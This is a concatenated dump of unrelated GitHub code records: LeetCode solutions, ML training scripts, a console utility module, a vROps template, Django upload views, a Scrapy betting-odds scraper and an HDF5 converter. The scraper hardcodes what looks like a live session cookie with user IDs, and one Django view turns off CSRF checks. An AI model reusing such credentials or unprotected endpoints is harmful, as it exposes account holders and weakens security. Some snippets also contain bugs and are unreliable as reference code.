singly-linked list.\r\n# class ListNode:\r\n# def __init__(self, val=0, next=None):\r\n# self.val = val\r\n# self.next = next\r\nclass Solution:\r\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\r\n myval = ListNode\r\n x = myval\r\n mycarr = 0\r\n\r\n while l1 or l2 or mycarr:\r\n v1 = l1.val if l1 else 0\r\n v2 = l2.val if l2 else 0\r\n v3 = v1 + v2 + mycarr\r\n mycarr = v3 // 10\r\n v3 = v3 % 10\r\n x.next = ListNode(v3)\r\n\r\n x = x.next\r\n l1 = l1.next if l1 else None\r\n l2 = l2.next if l2 else None\r\n\r\n return myval.next","repo_name":"Dushyantyadav/Leetcode_Problem_Solutions","sub_path":"Add Two Numbers.py","file_name":"Add Two Numbers.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"752547427","text":"import cv2\nimport numpy as np\n\ndef shiftHue(degrees):\n degrees=round((degrees/100)*255)\n image = cv2.imread('sudoku.jpeg')\n # Convert the image to HSV color space\n hsv_image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n # Get the hue, saturation, and value channels\n h, s, v = cv2.split(hsv_image)\n\n # Shift the hue by 30 degrees\n h_shifted = h + degrees\n\n # Clip the hue values to be between 0 and 180 degrees\n h_shifted = np.clip(h_shifted, 0, 180)\n\n # Create a new HSV image with the shifted hue values\n hsv_shifted = cv2.merge([h_shifted, s, v])\n\n # Convert the HSV image back to RGB color space\n image_shifted = cv2.cvtColor(hsv_shifted, cv2.COLOR_HSV2BGR)\n\n # Display the original and shifted images\n cv2.imshow('Original image', image)\n cv2.imshow('Shifted image', image_shifted)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\nshiftHue()","repo_name":"destrex271/edge-ai-project","sub_path":"Vishist/hueshift.py","file_name":"hueshift.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42183459428","text":"#这部分代码参考了很多课上内容\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom tensorflow import keras\nimport time\nfrom sklearn.model_selection import train_test_split\n\nimport fashion_mnist_load as load #加载fashion-mnist数据集\n\n#fashion-mnist数据集中的分类\nclass_name={0 : 'T-shirt/top',\n 1 : 'Trouser',\n 2 : 'Pullover',\n 3 : 'Dress', \n 4 : 'Coat', \n 5 : 'Sandal', \n 6 : 'Shirt', \n 7 : 'Sneaker', \n 8 : 'Bag', \n 9 : 'Ankle boot'} \n#数据可视化\ndef show_imgs(n_rows,n_cols,x_data,y_data,class_name): \n assert len(x_data)==len(y_data) \n plt.figure(figsize=(n_cols*1.4,n_rows*1.6)) \n for row in range(n_rows): \n for col in range(n_cols): \n index=n_cols*row+col \n plt.subplot(n_rows,n_cols,index+1) \n plt.imshow(x_data[index].reshape(28,28),cmap=\"binary\",interpolation='nearest') \n plt.axis('off') \n plt.title(class_name[y_data[index]]) \n plt.show() \n return None\n\nif __name__ == \"__main__\":\n x_train, y_train, x_test, y_test = load.get_data()\n #show_imgs(7, 7, x_train, y_train, class_name) #一样的展示功能\n \n #不一样的是,神经网络进行浮点数计算,这里进行归一化\n x_train = x_train.reshape((-1, 28, 28, 1)).astype(\"float32\")/255\n x_test = x_test.reshape((-1, 28, 28, 1)).astype(\"float32\")/255\n\n #建立模型\n model = keras.Sequential([\n keras.layers.Flatten(input_shape=[28, 28, 1]), \n keras.layers.Dense(300, activation=tf.nn.relu), \n keras.layers.Dense(100, activation=tf.nn.relu), \n keras.layers.Dense(10, activation=tf.nn.softmax)\n ])\n print(model.summary()) #展示模型\n\n #编译模型\n model.compile(optimizer=tf.train.AdamOptimizer(),\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n \n #训练模型\n sizes = [0.01, 0.1, 0.25, 0.5, 0.75, 1] #决定使用数据量\n times = []\n acys = []\n for size in sizes:\n if size != 1:\n x, a, y, b = train_test_split(x_train, y_train \n ,test_size=1-size,random_state=5)\n #划分数据集,使用相同随机种子划分\n else:\n x = x_train\n y = y_train\n \n start = time.time()\n model.fit(x, y, epochs=10) #学习10次就有很好效果\n end = time.time() #计算训练用时\n test_loss, test_acy = model.evaluate(x_test, y_test)\n acys.append(test_acy)\n times.append(end-start)\n \n for i in range(len(sizes)):\n print('对于两层神经网络分类,使用{size}个数据集时,训练所用时间{time}秒,得到准确率为{acy}'\n .format(size=sizes[i], time=times[i], acy=acys[i]))\n \n '''\n #下面是调用模型的方法\n predictions = model.predict(x_test)\n print(class_name[predictions[0]])\n '''","repo_name":"BUPT-stong/machine-learning-last-homework","sub_path":"fashion_mnist_tf.py","file_name":"fashion_mnist_tf.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"6641519699","text":"import os, time, datetime, json, keyboard\r\nimport ctypes\r\nkernel32 = ctypes.windll.kernel32\r\nkernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)\r\n\r\nglobal cyell, cnone\r\ncyell = '\\033[33m'\r\ncblue = '\\033[36m'\r\ncnone = '\\033[0m'\r\n\r\n#======================== SCREEN CLEANER =======================================\r\n\r\ndef oscall(call, else_call):\r\n os.system(f'{call}' if os.name == 'nt' else f'{else_call}')\r\n\r\n#======================== LOGS WRITER ==========================================\r\n\r\n#1 arg = message for logging\r\n#2 arg: 1 - not end file. 0 - end file.\r\n#3 arg: def who call logs_writer\r\n\r\ndef logs_writer(message, defwhocall):\r\n \r\n with open('another_logs.log', 'a', encoding = 'utf-8') as file:\r\n file.write(f\"Caller: {defwhocall}\\n\")\r\n file.write(f\"Time: {datetime.datetime.now()}\\n\")\r\n file.write(f' >> {message} \\n\\n')\r\n\r\n#========================== URL CUTTER ==========================================\r\n\r\n#url_name(url, 0) -- returns url like 'https://www.google.com/login/input'\r\n#url_name(url, 1) -- returns url like 'www.google.com'\r\n#url_name(url, 2) -- returns url like 'google.com'\r\n#url_name(url, 3) -- returns url like 'google'\r\n#url_name(url, 4) -- returns all elements \r\n#url_name(url, 5) -- returns file_name\r\n\r\ndef url_cutter(url, val):\r\n\r\n urls_container = [\"\", \"\", \"\", \"\", \"\"]\r\n\r\n urls_container[0] = url\r\n\r\n urls_container[1] = url.split('/')[2:3][0]\r\n if urls_container[1].find(\"www.\") == -1:\r\n if urls_container[1].find(\"api.\") == -1:\r\n urls_container[1] = \"www.\" + urls_container[1]\r\n\r\n urls_container[2] = urls_container[1].lstrip(\"www.\")\r\n urls_container[2] = urls_container[1].lstrip(\"api.\")\r\n\r\n if urls_container[1].find(\"www.\") != -1 or urls_container[1].find(\"api.\") != -1:\r\n urls_container[3] = urls_container[1].split('.', 2)[1]\r\n else: urls_container[3] = urls_container[2]\r\n\r\n urls_container[4] = url.split('/')[-1]\r\n \r\n if val == 4: return urls_container\r\n elif val == 5: return urls_container[4]\r\n elif val == 3: return urls_container[3]\r\n elif val == 2: return urls_container[2]\r\n elif val == 1: return urls_container[1]\r\n elif val == 0: return urls_container[0]\r\n elif val > 4: return \"Unknown arg for url_cutter\"\r\n elif type(val) == \"str\": return \"Unknown arg for url_cutter\"\r\n\r\n#================================ READ AND CLEAR LOGS ================================\r\n\r\ndef clear_logs():\r\n\r\n oscall('cls', 'clear')\r\n f = open('another_logs.log', encoding = 'utf-8')\r\n s = f.readlines()\r\n print(f'\\n {cyell}another_logs.log{cnone}:\\n')\r\n for q in range(len(s)):\r\n print(f' {s[q]}', end='')\r\n\r\n rew = input(f\"\\n {cyell}What we will do?{cnone}\\n 1. Clear logs\\n 2. Open log file\\n 3. Go back\\n {cyell}>>>{cnone} \")\r\n if rew == \"1\":\r\n with open('another_logs.log', 'w') as file:\r\n file.write(\"\")\r\n return \"Logs are cleared!\"\r\n elif rew == \"2\": \r\n oscall('start another_logs.log', '')\r\n return clear_logs()\r\n else: return \"\"\r\n\r\n#red \\033[31m\r\n#yellow {cyell} \r\n#blue 033[34m\r\n\r\n# =========== MENU TEXT ==================\r\n\r\ndef menu_text():\r\n\r\n print(f\"\"\" {cyell}\r\n Arctic Gate v1.0\r\n * by Python 3.8.5\r\n * by fiera Korobejnikov{cnone}\r\n\r\n ?. About info\r\n 0. Logs file\r\n\r\n \\033[36mInform:{cnone}\r\n 1. Check weather\r\n 2. Check news\r\n \r\n \\033[36mDownloader:{cnone}\r\n 3. Download files\r\n 4. Download pages \r\n\r\n \\033[36mFinance:{cnone}\r\n 5. My portfolio\r\n 6. Price from TS\r\n \r\n \\033[36mUtilities:{cnone}\r\n 7. Make local web-page\r\n 8. Load site headers\r\n 9. Merge pdf files \r\n 10. Load info\r\n 11. Send data\"\"\")\r\n\r\n#======================== CATH ERROR =======================================\r\n\r\ndef catch_error(reas, err):\r\n \r\n if reas == \"ConnectionError\":\r\n print(f'\\n\\033[31m Connection Error:{cnone}')\r\n print(f' {err}')\r\n print(f'\\n {cyell}>>>{cnone} Reconnection after 5s...')\r\n time.sleep(5)\r\n return\r\n if reas == \"AnotherError\":\r\n print(f'\\n\\033[31m Authors error:{cnone}')\r\n print(f' {err}')\r\n print(f'\\n {cyell}>>>{cnone} Go back after 5s...')\r\n time.sleep(5)\r\n return \r\n\r\n# =========== DATA CONFIG ===================\r\n\r\ndef data_config(data):\r\n\r\n with open(f\"another_config.json\", \"r\") as r: data_config = json.load(r)\r\n\r\n if data_config[data] != '' and data_config[data] != 0: return data_config[data]\r\n else: return \"no data\"\r\n\r\n# ======= EDIT URL FOR DOWNLOADER_PAGES ============\r\n\r\ndef edit_url_pages(errr):\r\n errr = errr.strip(\"\\n\")\r\n errr = f'{errr}.html'\r\n errr = errr.replace(\"https://\", \"\")\r\n errr = errr.replace(\"http://\", \"\")\r\n\r\n intab = ':/*\"|\\?>< '\r\n trantab = str.maketrans(intab, '_' * len(intab))\r\n\r\n return errr.translate(trantab)\r\n\r\n# ========= FAST COMANDS ====================\r\n\r\ndef fast_comands():\r\n\r\n oscall('cls', 'clear')\r\n print(f'\\n {cyell}U have next scripts{cnone}\\n')\r\n print(f' 1. Load N urls into telegram and download files next')\r\n print(f' 2. Load all top day news on habr without images')\r\n print(f' 3. Check Tiksi-weather (rp5) ')\r\n print(f' 4. Tiksi-weather (rp5) + load top day news (habr) ')\r\n print(f' 5. Update fiera`s portfolio data and send to fiera ')\r\n print(f' 6. Update users portfolio data and send to all users ')\r\n print(f' 7. Tiksi-weather + send to telegram ')\r\n\r\n rew = input(f\"\\n {cyell}Type number of script for run >>>{cnone} \")\r\n if rew == '1':\r\n usi = int(input(f'{cyell}\\n Type N >>> {cnone}'))\r\n script = f'1, 0, enter, 1, enter, 1, enter, {usi}, enter, 1, enter, 1, enter'\r\n keyboard.press_and_release(script)\r\n elif rew == '2':\r\n script = f'2, enter, 1, enter, 2, enter, 2, enter, 0, enter'\r\n keyboard.press_and_release(script)\r\n elif rew == '3':\r\n script = f'1, enter, 2, enter, 1, enter'\r\n keyboard.press_and_release(script)\r\n elif rew == '4':\r\n script = f'9, 1, 1, enter, 3, enter, 9, 1, 1, enter, 2, enter'\r\n keyboard.press_and_release(script)\r\n elif rew == '5':\r\n script = f'5, enter, 1, enter, 1, enter, 1, 1, enter, 1, enter, 1, enter, 1, enter'\r\n keyboard.press_and_release(script)\r\n elif rew == '6':\r\n script = f'5, enter, 0, enter, 1, enter, 1, 1, enter, 1, enter 1, enter 0, enter'\r\n keyboard.press_and_release(script)\r\n elif rew == '7':\r\n script = f'1, enter, 2, enter, 1, enter, 1, 1, enter, 1, enter, 3, enter, 1, enter, e, x, i, t, enter'\r\n keyboard.press_and_release(script)\r\n else: return \"Unknown response\"\r\n\r\n","repo_name":"f1era/ArcticGate","sub_path":"another_modules.py","file_name":"another_modules.py","file_ext":"py","file_size_in_byte":6722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15781278842","text":"# 두개의 배열 A,B이 N개의 원소로 구성되어 있다. 원소는 모두 자연수\n# k번 바꿔��기를 수행하는데, A에 있는 원소와 B에 있는 원소를 바꿔치기 한다.\n# k번 바꿔치기 해서 배열 A의 모든 원소의 합이 최대가 되도록?\n\n# => A 오름차순 정렬, B 내림차순 정렬하여 B의 최댓값과 A의 최솟값을 바꿔치기함. K번동안. range: 0 - k-1\n\n# 퀵정렬 수행\ndef quick_sort(array):\n if len(array) <= 1:\n return array\n \n pivot = array[0]\n tail = array[1:]\n\n left_side = [x for x in tail if x <= pivot]\n right_side = [x for x in tail if x > pivot]\n\n return quick_sort(left_side) + [pivot] + quick_sort(right_side)\n\ndef quick_sort_reverse(array):\n if len(array) <= 1:\n return array\n \n pivot = array[0]\n tail = array[1:]\n\n left_side = [x for x in tail if x > pivot]\n right_side = [x for x in tail if x <= pivot]\n\n return quick_sort_reverse(left_side) + [pivot] + quick_sort_reverse(right_side)\n\nn,k = map(int,input().split())\n\nA = list(map(int,input().split()))\nB = list(map(int,input().split()))\n\nB = quick_sort_reverse(B)\nA = quick_sort(A)\n\nfor i in range(k):\n if A[i] < B[i]:\n A[i], B[i] = B[i], A[i]\n else: \n break\n \nprint(sum(A))","repo_name":"gun-0208/studying_algorithm","sub_path":"이것이 코딩테스트다/ch04_두배열의원소교체.py","file_name":"ch04_두배열의원소교체.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5187469871","text":"'''\nCreated on Dec 16, 2015\n\n@author: Pontus Rydin\n\nThis software is freely available to anyone who likes to use it. You are permitted to include this in your own \nprojects freely and without restriction. However, you use it at your own risk! I make no guarantee it will work\nor that it will not harm the system it is running on. Here's some legalease stating the same thing:\n\nTHIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, \nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL \nTHE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF \nUSE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \nSTRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, \nEVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n'''\n\nimport nagini\nimport re\nfrom sys import argv\nimport time\nimport subprocess\nimport shlex\nimport socket\n\nadapterKind = None\nadapterName = None\n\ndef parseConfig(filename):\n config = {}\n configFile = open(filename)\n content = configFile.readlines()\n for line in content:\n line = line.strip()\n if line[0] == '#':\n continue\n m = re.search('(.+)\\s*\\=\\s*(.+)', line)\n config[m.group(1)] = m.group(2)\n configFile.close();\n return config;\n\ndef sendData(vrops, resourceKind, resourceName, stats, properties):\n global adapterKind\n global adapterName\n\n statList = [] if stats else None\n propList = [] if properties else None\n timestamp = long(time.time() * 1000)\n for key, value in stats.iteritems():\n statList.append( { \"statKey\" : key, \"timestamps\": [ timestamp ], \"data\": [ value ]})\n for key, value in properties.iteritems():\n propList.append( { \"statKey\" : key, \"timestamps\": [ timestamp ], \"values\": [ value ]})\n return vrops.find_create_resource_push_data(resourceName=resourceName, \n adapterKindKey=adapterKind, \n resourceKindKey=resourceKind,\n resourceIdentifiers={}, \n pushAdapterKindKey=adapterName, \n stats={ \"stat-content\": statList } if stats else None, \n properties={ \"prop-content\": propList if properties else None })\n \ndef addChild(vrops, parentAdapterKindKey, parentAdapterKey, parentResourceKindKey, parentResourceName, child, create=False):\n if create:\n parent = vrops.find_create_resource_with_adapter_key(adapterKindKey=parentAdapterKindKey, pushAdapterKindKey=parentAdapterKey,\n resourceKindKey=parentResourceKindKey, resourceName=parentResourceName,\n resourceIdentifiers={})\n else:\n parent = vrops.get_resources_with_adapter_and_resource_kind(identifiers={}, name=parentResourceName, adapterKindKey=parentAdapterKindKey, \n resourceKindKey=parentResourceKindKey) \n if parent['pageInfo']['totalCount'] == 0:\n return\n vrops.add_relationship({ \"uuids\": [ child[\"identifier\"] ] }, relationshipType=\"CHILD\", resourceId=parent['resourceList'][0]['identifier'])\n \n \ndef run(configFile):\n global adapterKind \n global adapterName \n\n # Load configuration and sanity check\n #\n config = parseConfig(configFile)\n if not config['vropshost']: \n raise Exception(\"A value for vropshost must be specified\")\n if not config['vropsuser']: \n raise Exception(\"A value for vropsuser must be specified\")\n if not config['vropspassword']: \n raise Exception(\"A value for vropshost must be specified\")\n \n # Create a connection to vR Ops\n #\n vrops = nagini.Nagini(host=config['vropshost'], user_pass=(config['vropsuser'], config['vropspassword']))\n \n \n ##########################################################################################################\n #\n # YOUR CODE GOES HERE!\n #\n ##########################################################################################################\n \n adapterKind = \"SamplePythonAdapter\"\n adapterName = \"MySamplePythonAdapter\"\n resource = sendData(vrops, \"PythonThingy\", \"MyPythonThingy\", { \"metric1\": 1, \"metric2\": 2}, {\"prop1\": \"value1\", \"prop2\": \"value2\"})\n addChild(vrops, adapterKind, adapterName, \"ParentThingy\", \"MyParentThingy\", resource);\n \n ##########################################################################################################\n #\n # YOUR CODE ENDS HERE!\n #\n ##########################################################################################################\n\nif __name__ == '__main__':\n run(argv[1])\n","repo_name":"prydin/vrops-py-template","sub_path":"template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":5156,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"43298418637","text":"from django.http import HttpResponse, JsonResponse, FileResponse\nfrom django.shortcuts import get_object_or_404\n\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .models import Version, Task\n\ndef get_versions(request):\n \"\"\"\n Returns the list of all model versions known to the server.\n \"\"\"\n if request.method != 'GET':\n return HttpResponse(status=405)\n else:\n return JsonResponse(list(Version.objects.all().values(\"id\", \"name\", \"description\")), safe=False)\n \n# CSRF exemption is needed because this is a POST method.\n# An alternative would be to disable the CSRF middleware entirely.\n@csrf_exempt\ndef upload_task(request):\n \"\"\"\n Sends a new job on the uploaded file based on the specified version.\n Uploaded file integrity (as an audio file) is not checked, as the job will do so at the start because it has to extract the audio information, and checking twice audio integrity slows down significantly the whole process.\n \"\"\"\n if request.method != 'POST':\n return HttpResponse(status=405)\n else:\n version_id = request.GET.get(\"version_id\", None)\n input = request.FILES.get(\"file\", None)\n if not version_id or not input:\n return HttpResponse(status=400)\n version = get_object_or_404(Version, pk=version_id)\n task = Task(version=version, input=input)\n task.save() # We have to save before we start, since the job relies on the job object existing in the database, as it cannot be serialized by pickle\n task.start()\n return JsonResponse({ 'job_id': task.pk })\n\ndef get_task_output(request, task_id):\n \"\"\"\n Returns the task output file if done; returns an error otherwise.\n \"\"\"\n if request.method != 'GET':\n return HttpResponse(status=405)\n else:\n task = get_object_or_404(Task, pk=task_id)\n if not task.done:\n return HttpResponse(status=102)\n else:\n return FileResponse(task.output)\n\n","repo_name":"KelianB/tab-gen","sub_path":"backend/perfectpeach/converter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"31443556427","text":"class Solution:\n def partitionLabels(self, S: str) -> [int]:\n if len(S) == 1:\n return [1]\n last_ind = {ch: S.rindex(ch) for ch in S}\n\n res = []\n s = e = 0\n for i in range(len(S)):\n e = max(e, last_ind[S[i]])\n if e == i:\n res.append(e - s + 1)\n s = i + 1\n return res\n\n\nif __name__ == '__main__':\n print(Solution().partitionLabels('ababcbacadefegdehijhklij'))\n # [9, 7, 8]\n","repo_name":"ruan65/python_algorithms_and_problem_solving","sub_path":"leetcode/two_pointers/a_763_partition_labels.py","file_name":"a_763_partition_labels.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41171825836","text":"import scrapy\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.http import Request,HtmlResponse\nimport re\n\nuser_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36'\ncookie = 'LastUrl=; FirstOKURL=http%3A//www.okooo.com/jingcai/; First_Source=www.okooo.com; Last_Source=http%3A//www.okooo.com/soccer/match/876722/odds/; IMUserName=ok_025742692071; __utmz=56961525.1517821150.16.3.utmcsr=okooo.com|utmccn=(referral)|utmcmd=referral|utmcct=/jingcai/2018-02-03/; data_start_isShow=1; IMUserID=24006237; OkAutoUuid=b8b92c071a5ba1185c065aa6d9a2175b; OkMsIndex=5; __utmc=56961525; DRUPAL_LOGGED_IN=Y; isInvitePurview=0; PHPSESSID=f3438442d0a40ccd389ab57fc3e7620c9536b916; Hm_lvt_5ffc07c2ca2eda4cc1c4d8e50804c94b=1517120624,1517893507; __utma=56961525.95899878.1517120624.1517893506.1517895607.21; UWord=d451d8cd984f00b204e9800998ecf84127e; Hm_lpvt_5ffc07c2ca2eda4cc1c4d8e50804c94b=1517896077; __utmb=56961525.66.8.1517896134153'\n\ntmp_url = 'http://www.okooo.com/soccer/match/954326/odds/change/82/'\n\nheaders = {\n 'User-Agent': user_agent,\n 'Connection': 'keep-alive',\n 'Referer': 'http://www.okooo.com/soccer/match/954378/',\n 'Cookie': cookie\n}\n\ndef parseOddsDetail(self, response):\n print('parseOddsDetail')\n print(response)\n print(response.body)\n print(response.url)\n print()\n # print(response.extract())\n\n shift = 0\n\n if response.url.find('hodds') > 0:\n shift = 1\n\n williamHillOdds = response.xpath('/html/body/div[1]/table')\n #\n # print(williamHillOdds.extract())\n\n finalOdd = williamHillOdds.xpath('tr[%s]' % (3 + shift))\n\n finalOddW3 = finalOdd.xpath('td[%s]/text()' % (3 + shift)).extract_first()\n finalOddW1 = finalOdd.xpath('td[%s]/text()' % (4 + shift)).extract_first()\n finalOddW0 = finalOdd.xpath('td[%s]/text()' % (5 + shift)).extract_first()\n\n finalPerW3 = finalOdd.xpath('td[%s]/text()' % (6 + shift)).extract_first()\n finalPerW1 = finalOdd.xpath('td[%s]/text()' % (7 + shift)).extract_first()\n finalPerW0 = finalOdd.xpath('td[%s]/text()' % (8 + shift)).extract_first()\n\n finalKellyW3 = finalOdd.xpath('td[%s]/span/text()' % (9 + shift)).extract_first()\n finalKellyW1 = finalOdd.xpath('td[%s]/span/text()' % (10 + shift)).extract_first()\n finalKellyW0 = finalOdd.xpath('td[%s]/span/text()' % (11 + shift)).extract_first()\n\n finalKellyChangeW3 = 0\n finalKellyChangeW1 = 0\n finalKellyChangeW0 = 0\n\n if not finalKellyW3:\n finalKellyW3 = finalOdd.xpath('td[%s]/text()' % (9 + shift)).extract_first()\n if not finalKellyW1:\n finalKellyW1 = finalOdd.xpath('td[%s]/text()' % (10 + shift)).extract_first()\n if not finalKellyW0:\n finalKellyW0 = finalOdd.xpath('td[%s]/text()' % (11 + shift)).extract_first()\n\n finalKellyChangeW3 = calChange(finalKellyW3)\n finalKellyChangeW1 = calChange(finalKellyW1)\n finalKellyChangeW0 = calChange(finalKellyW0)\n\n finalKellyW3 = finalKellyW3[0:4]\n finalKellyW1 = finalKellyW1[0:4]\n finalKellyW0 = finalKellyW0[0:4]\n\n finalReturnPer = finalOdd.xpath('td[%s]/text()' % (12 + shift)).extract_first()\n\n print('==========final odds group==========')\n print(finalOddW3)\n print(finalOddW1)\n print(finalOddW0)\n\n print(finalPerW3)\n print(finalPerW1)\n print(finalPerW0)\n\n print(finalKellyW3)\n print(finalKellyW1)\n print(finalKellyW0)\n\n print(finalKellyChangeW3)\n print(finalKellyChangeW1)\n print(finalKellyChangeW0)\n\n print(finalReturnPer)\n\n startOdd = williamHillOdds.xpath('tr[last()]')\n\n startOddTime = startOdd.xpath('td[1]/text()').extract_first()\n\n startOddTimeSp = exChangeTime(startOdd.xpath('td[2]/text()').extract_first())\n\n startOddW3 = startOdd.xpath('td[%s]/text()' % (3 + shift)).extract_first()\n startOddW1 = startOdd.xpath('td[%s]/text()' % (4 + shift)).extract_first()\n startOddW0 = startOdd.xpath('td[%s]/text()' % (5 + shift)).extract_first()\n\n startPerW3 = startOdd.xpath('td[%s]/text()' % (6 + shift)).extract_first()\n startPerW1 = startOdd.xpath('td[%s]/text()' % (7 + shift)).extract_first()\n startPerW0 = startOdd.xpath('td[%s]/text()' % (8 + shift)).extract_first()\n\n startKellyW3 = startOdd.xpath('td[%s]/text()' % (9 + shift)).extract_first()\n startKellyW1 = startOdd.xpath('td[%s]/text()' % (10 + shift)).extract_first()\n startKellyW0 = startOdd.xpath('td[%s]/text()' % (11 + shift)).extract_first()\n\n startReturnPer = startOdd.xpath('td[%s]/text()' % (12 + shift)).extract_first()\n\n print('==========start odds group==========')\n print(startOddTime)\n print(startOddTimeSp)\n\n print(startOddW3)\n print(startOddW1)\n print(startOddW0)\n\n print(startPerW3)\n print(startPerW1)\n print(startPerW0)\n\n print(startKellyW3)\n print(startKellyW1)\n print(startKellyW0)\n\n print(startReturnPer)\n\n changeOdds = williamHillOdds.xpath('tr')\n\n loopEnd = len(changeOdds) - 1 + shift\n for i in range(4 + shift, loopEnd):\n print('==========one odds group==========')\n tmpOdd = changeOdds[i]\n\n OddTime = tmpOdd.xpath('td[1]/text()').extract_first()\n OddTimeSp = exChangeTime(tmpOdd.xpath('td[2]/text()').extract_first())\n\n OddW3 = tmpOdd.xpath('td[%s]/span/text()' % (3 + shift)).extract_first()\n OddW1 = tmpOdd.xpath('td[%s]/span/text()' % (4 + shift)).extract_first()\n OddW0 = tmpOdd.xpath('td[%s]/span/text()' % (5 + shift)).extract_first()\n\n OddChangeW3 = 0\n OddChangeW1 = 0\n OddChangeW0 = 0\n\n if not OddW3:\n OddW3 = tmpOdd.xpath('td[%s]/text()' % (3 + shift)).extract_first()\n if not OddW1:\n OddW1 = tmpOdd.xpath('td[%s]/text()' % (4 + shift)).extract_first()\n if not OddW0:\n OddW0 = tmpOdd.xpath('td[%s]/text()' % (5 + shift)).extract_first()\n\n OddChangeW3 = calChange(OddW3)\n OddChangeW1 = calChange(OddW1)\n OddChangeW0 = calChange(OddW0)\n OddW3 = OddW3[0:4]\n OddW1 = OddW1[0:4]\n OddW0 = OddW0[0:4]\n\n perW3 = tmpOdd.xpath('td[%s]/text()' % (6 + shift)).extract_first()\n perW1 = tmpOdd.xpath('td[%s]/text()' % (7 + shift)).extract_first()\n perW0 = tmpOdd.xpath('td[%s]/text()' % (8 + shift)).extract_first()\n\n kellyW3 = tmpOdd.xpath('td[%s]/text()' % (9 + shift)).extract_first()\n kellyW1 = tmpOdd.xpath('td[%s]/text()' % (10 + shift)).extract_first()\n kellyW0 = tmpOdd.xpath('td[%s]/text()' % (11 + shift)).extract_first()\n\n kellyChangeW3 = 0\n kellyChangeW1 = 0\n kellyChangeW0 = 0\n\n returnPer = tmpOdd.xpath('td[%s]/text()' % (12 + shift)).extract_first()\n\n print(OddTime)\n print(OddTimeSp)\n\n print(OddW3)\n print(OddChangeW3)\n\n print(OddW1)\n print(OddChangeW1)\n\n print(OddW0)\n print(OddChangeW0)\n\n print(perW3)\n print(perW1)\n print(perW0)\n\n print(kellyW3)\n print(kellyChangeW3)\n\n print(kellyW1)\n print(kellyChangeW1)\n\n print(kellyW0)\n print(kellyChangeW0)\n\n print(returnPer)\n\ndef req():\n yield Request(url=tmp_url, headers=headers, callback=parseOddsDetail)\n\nreq()","repo_name":"sephirothz87/T-scrapy","sub_path":"Tscrapy/spiders/T4Spider.py","file_name":"T4Spider.py","file_ext":"py","file_size_in_byte":7211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7637239342","text":"from os.path import isfile\r\n\r\n\r\nfrom load_dat_prophesee import * # ncars(.dat)\r\n# from load_events import * # n-mnist(.bin) cifar10-dvs(.aedat)\r\nimport h5py\r\nimport os\r\nimport os.path\r\nfrom tqdm import tqdm\r\n\r\n\"\"\"\r\nN-MNIST:用aertb中函数完成:提取文件夹下样本,将样本输入至load_events函数中,输出一个样本对应的矩阵,将矩阵按照类别存储至h5文件中\r\nN-CARS:load_events:用 https://github.com/prophesee-ai/prophesee-automotive-dataset-toolbox 的代码完成对样本的读取,输出对应矩阵\r\nCIFAR10-DVS:\r\n\"\"\"\r\n\r\n\r\ndef create_hdf5_dataset(dataset_name, file_or_dir, ext, ):\r\n \"\"\"\r\n Creates an HDF5 file with the specified name, for a parent\r\n directory containing .dat files. It will create a different\r\n group for each subdirectory\r\n\r\n Params\r\n ------\r\n :param dataset_name: the name of the HDF5 file with file extension\r\n :param parent_dir: the path pointing to the parent directory\r\n where the dat files reside\r\n :param polarities: indicates the polarity encoding for the\r\n data, it can be [0,1] or [-1,1]\r\n\r\n \"\"\"\r\n\r\n with h5py.File(dataset_name, 'w') as fp:\r\n\r\n # if we are dealing with only one file\r\n if isfile(file_or_dir):\r\n fname = os.path.split(file_or_dir)[1].split('.')[0]\r\n g = fp.create_group('root')\r\n events = load_dat_events(file_or_dir)\r\n g.create_dataset(f'{fname}', data=events, compression=8)\r\n\r\n # else we are dealing with directories\r\n else:\r\n _add_all_files(fp, file_or_dir, 'root', ext)\r\n\r\n # Navigate subdirectories\r\n sub_dirs = [f.name for f in 